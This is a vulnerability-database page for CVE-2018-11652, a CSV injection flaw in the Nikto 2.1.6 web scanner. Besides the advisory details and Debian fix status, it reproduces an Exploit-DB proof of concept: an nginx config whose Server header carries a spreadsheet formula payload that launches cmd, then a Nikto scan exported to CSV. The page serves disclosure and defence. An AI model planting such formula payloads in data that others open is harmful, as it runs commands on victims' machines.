CVE-2018-11652

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

CSV Injection vulnerability in Nikto 2.1.6 and earlier allows remote attackers to inject arbitrary OS commands via the Server field in an HTTP response header, which is directly injected into a CSV report.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-44899 local linux text · 1 KB
Adam Greenhill · 2018-06-18

Nikto 2.1.6 - CSV Injection

text exploit Source: Exploit-DB
# Exploit Title: Nikto 2.1.6 - CSV Injection
# Google Dork: N/A
# Date: 2018-06-01	
# Exploit Author: Adam Greenhill
# Vendor Homepage: https://cirt.net/Nikto2
# Software Link: https://github.com/sullo/nikto
# Affected Version: 2.1.6, 2.1.5
# Category: Applications
# Tested on: Kali Linux 4.14 x64
# CVE : CVE-2018-11652
 
# Technical Description:
#  CSV Injection vulnerability in Nikto 2.1.6 and earlier allows remote attackers 
# to inject arbitrary OS commands via the Server field in an HTTP response header, 
# which is directly injected into a CSV report.
 
# PoC
# Install nginx and nginx-extras: apt-get install -y nginx nginx-extras
# Configure the nginx server as follows by editing the /etc/nginx/nginx.conf file:

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
    worker_connections 768;
    # multi_accept on;
}

http {
    server_tokens off; # removed pound sign
    more_set_headers "Server: =cmd|' /C calc'!'A1'";

    server {
        listen 80;

        server_name localhost;

        location /hello {
            return 200 "hello world";
        }
    }
}

# Restart the server: service nginx restart
# Scan the nginx server with Nikto configured to output the results to a CSV file:

nikto -h <nginx address>:80 -o vuln.csv

# Open the resulting CSV file in Microsoft Excel and observe that CMD is attempting 
# to execute

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 1:2.1.5-3
sid Fixed 1:2.1.5-3
forky Fixed 1:2.1.5-3
bullseye Fixed 1:2.1.5-3
bookworm Fixed 1:2.1.5-3

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.